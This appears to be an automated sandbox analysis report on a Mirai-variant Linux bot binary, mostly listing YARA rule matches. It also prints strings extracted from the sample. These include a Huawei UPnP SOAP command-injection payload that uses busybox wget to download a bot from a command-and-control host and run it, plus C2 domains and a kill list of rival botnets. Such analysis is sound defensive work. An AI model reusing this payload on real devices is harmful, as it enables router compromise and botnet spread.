37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: nullnet_load.i686.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: nullnet_load.i686.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown

Network traffic detected: HTTP traffic on port 46540 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_268aac0b Author: unknown
Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0cb1699c Author: unknown
Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_70ef58f1 Author: unknown
Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_485c4b13 Author: unknown
Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_7d05725e Author: unknown
Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_575f5bc8 Author: unknown
Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_2e3f67a9 Author: unknown
Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0d73971c Author: unknown
Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_268aac0b Author: unknown
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0cb1699c Author: unknown
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_70ef58f1 Author: unknown
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_485c4b13 Author: unknown
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_7d05725e Author: unknown
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 Author: unknown
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_2e3f67a9 Author: unknown
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0d73971c Author: unknown
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_268aac0b Author: unknown
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0cb1699c Author: unknown
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_70ef58f1 Author: unknown
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_485c4b13 Author: unknown
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_7d05725e Author: unknown
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 Author: unknown
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_2e3f67a9 Author: unknown
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0d73971c Author: unknown
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_268aac0b Author: unknown
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0cb1699c Author: unknown
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_70ef58f1 Author: unknown
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_485c4b13 Author: unknown
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_7d05725e Author: unknown
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 Author: unknown
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_2e3f67a9 Author: unknown
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0d73971c Author: unknown
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox ECCHI
Source: Initial sample	String containing 'busybox' found: ..:: Nullnet Network ::..This device is already on Nullnet Networkcnc.ghtyuio.online/proc//exe/fd/maps/proc/net/tcpUPX!sysupdaterKILLATTKBOGOMIPSpandoraMercurycrsfiahsokRootedREKAImioriMASUTAGhostWuzHere666CoronaloliganglolxdNiGGeR69xdnucleardvrHelperyakuzaUnHAnaAWAreslessie.HilixReaper.AlexsoraAmakanorzrnyamezyzhrlzrdGummyMoziYakuzadaddyl33t.un5Demon.Okami/dev/watchdog/dev/misc/watchdog/dev/FTWDT101_watchdog/dev/FTWDT101\ watchdogshellenablesystemsh/bin/busybox ECCHIECCHI: applet not foundncorrectasswordoginenter/etc/resolv.confnameserverConnection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.8Content-Type: application/x-www-form-urlencodedsetCookie('refresh:location:set-cookie:content-length:transfer-encoding:chunkedkeep-aliveconnection:server: dosarrestserver: cloudflare-nginxHTTP/1.1User-Agent:Host:Cookie:httpurl=POSTMozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.

Source: ELF static info symbol of initial sample

.symtab present: no

Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_268aac0b reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 9c581721bf82af7dc6482a2c41af5fb3404e01c82545c7b2b29230f707014781, id = 268aac0b-c5c7-4035-8381-4e182de91e32, last_modified = 2021-09-16
Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0cb1699c reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6e44c68bba8c9fb53ac85080b9ad765579f027cabfea5055a0bb3a85b8671089, id = 0cb1699c-9a08-4885-aa7f-0f1ee2543cac, last_modified = 2021-09-16
Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_70ef58f1 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c46eac9185e5f396456004d1e0c42b54a9318e0450f797c55703122cfb8fea89, id = 70ef58f1-ac74-4e33-ae03-e68d1d5a4379, last_modified = 2021-09-16
Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_485c4b13 reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 28f3e8982cee2836a59721c88ee0a9159ad6fdfc27c0091927f5286f3a731e9a, id = 485c4b13-3c7c-47a7-b926-8237cb759ad7, last_modified = 2021-09-16
Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_7d05725e reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 7fcd34cb7c37836a1fa8eb9375a80da01bda0e98c568422255d83c840acc0714, id = 7d05725e-db59-42a7-99aa-99de79728126, last_modified = 2021-09-16
Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_575f5bc8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 58e22a2acd002b07e1b1c546e8dfe9885d5dfd2092d4044630064078038e314f, id = 575f5bc8-b848-4db4-a99c-132d4d2bc8a4, last_modified = 2021-09-16
Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_2e3f67a9 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6a06815f3d2e5f1a7a67f4264953dbb2e9d14e5f3486b178da845eab5b922d4f, id = 2e3f67a9-6fd5-4457-a626-3a9015bdb401, last_modified = 2021-09-16
Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0d73971c reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 95279bc45936ca867efb30040354c8ff81de31dccda051cfd40b4fb268c228c5, id = 0d73971c-4253-4e7d-b1e1-20b031197f9e, last_modified = 2021-09-16
Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: nullnet_load.i686.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_268aac0b reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 9c581721bf82af7dc6482a2c41af5fb3404e01c82545c7b2b29230f707014781, id = 268aac0b-c5c7-4035-8381-4e182de91e32, last_modified = 2021-09-16
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0cb1699c reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6e44c68bba8c9fb53ac85080b9ad765579f027cabfea5055a0bb3a85b8671089, id = 0cb1699c-9a08-4885-aa7f-0f1ee2543cac, last_modified = 2021-09-16
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_70ef58f1 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c46eac9185e5f396456004d1e0c42b54a9318e0450f797c55703122cfb8fea89, id = 70ef58f1-ac74-4e33-ae03-e68d1d5a4379, last_modified = 2021-09-16
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_485c4b13 reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 28f3e8982cee2836a59721c88ee0a9159ad6fdfc27c0091927f5286f3a731e9a, id = 485c4b13-3c7c-47a7-b926-8237cb759ad7, last_modified = 2021-09-16
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_7d05725e reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 7fcd34cb7c37836a1fa8eb9375a80da01bda0e98c568422255d83c840acc0714, id = 7d05725e-db59-42a7-99aa-99de79728126, last_modified = 2021-09-16
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 58e22a2acd002b07e1b1c546e8dfe9885d5dfd2092d4044630064078038e314f, id = 575f5bc8-b848-4db4-a99c-132d4d2bc8a4, last_modified = 2021-09-16
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_2e3f67a9 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6a06815f3d2e5f1a7a67f4264953dbb2e9d14e5f3486b178da845eab5b922d4f, id = 2e3f67a9-6fd5-4457-a626-3a9015bdb401, last_modified = 2021-09-16
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0d73971c reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 95279bc45936ca867efb30040354c8ff81de31dccda051cfd40b4fb268c228c5, id = 0d73971c-4253-4e7d-b1e1-20b031197f9e, last_modified = 2021-09-16
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5516.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_268aac0b reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 9c581721bf82af7dc6482a2c41af5fb3404e01c82545c7b2b29230f707014781, id = 268aac0b-c5c7-4035-8381-4e182de91e32, last_modified = 2021-09-16
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0cb1699c reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6e44c68bba8c9fb53ac85080b9ad765579f027cabfea5055a0bb3a85b8671089, id = 0cb1699c-9a08-4885-aa7f-0f1ee2543cac, last_modified = 2021-09-16
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_70ef58f1 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c46eac9185e5f396456004d1e0c42b54a9318e0450f797c55703122cfb8fea89, id = 70ef58f1-ac74-4e33-ae03-e68d1d5a4379, last_modified = 2021-09-16
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_485c4b13 reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 28f3e8982cee2836a59721c88ee0a9159ad6fdfc27c0091927f5286f3a731e9a, id = 485c4b13-3c7c-47a7-b926-8237cb759ad7, last_modified = 2021-09-16
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_7d05725e reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 7fcd34cb7c37836a1fa8eb9375a80da01bda0e98c568422255d83c840acc0714, id = 7d05725e-db59-42a7-99aa-99de79728126, last_modified = 2021-09-16
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 58e22a2acd002b07e1b1c546e8dfe9885d5dfd2092d4044630064078038e314f, id = 575f5bc8-b848-4db4-a99c-132d4d2bc8a4, last_modified = 2021-09-16
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_2e3f67a9 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6a06815f3d2e5f1a7a67f4264953dbb2e9d14e5f3486b178da845eab5b922d4f, id = 2e3f67a9-6fd5-4457-a626-3a9015bdb401, last_modified = 2021-09-16
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0d73971c reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 95279bc45936ca867efb30040354c8ff81de31dccda051cfd40b4fb268c228c5, id = 0d73971c-4253-4e7d-b1e1-20b031197f9e, last_modified = 2021-09-16
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5513.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_268aac0b reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 9c581721bf82af7dc6482a2c41af5fb3404e01c82545c7b2b29230f707014781, id = 268aac0b-c5c7-4035-8381-4e182de91e32, last_modified = 2021-09-16
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0cb1699c reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6e44c68bba8c9fb53ac85080b9ad765579f027cabfea5055a0bb3a85b8671089, id = 0cb1699c-9a08-4885-aa7f-0f1ee2543cac, last_modified = 2021-09-16
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_70ef58f1 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c46eac9185e5f396456004d1e0c42b54a9318e0450f797c55703122cfb8fea89, id = 70ef58f1-ac74-4e33-ae03-e68d1d5a4379, last_modified = 2021-09-16
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_485c4b13 reference_sample = 49c94d184d7e387c3efe34ae6f021e011c3046ae631c9733ab0a230d5fe28ead, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 28f3e8982cee2836a59721c88ee0a9159ad6fdfc27c0091927f5286f3a731e9a, id = 485c4b13-3c7c-47a7-b926-8237cb759ad7, last_modified = 2021-09-16
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_7d05725e reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 7fcd34cb7c37836a1fa8eb9375a80da01bda0e98c568422255d83c840acc0714, id = 7d05725e-db59-42a7-99aa-99de79728126, last_modified = 2021-09-16
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 58e22a2acd002b07e1b1c546e8dfe9885d5dfd2092d4044630064078038e314f, id = 575f5bc8-b848-4db4-a99c-132d4d2bc8a4, last_modified = 2021-09-16
Source: 5514.1.0000000008048000.000000000805d000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_2e3f67a9 reference_sample = fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6a06815f3d2e5f1a7a67f4264953dbb2e9d14e5f3486b178da845eab5b922d4f, id = 2e3f67a9-6fd5-4457-a626-3a9015bdb401, last_modified = 2021-09-16
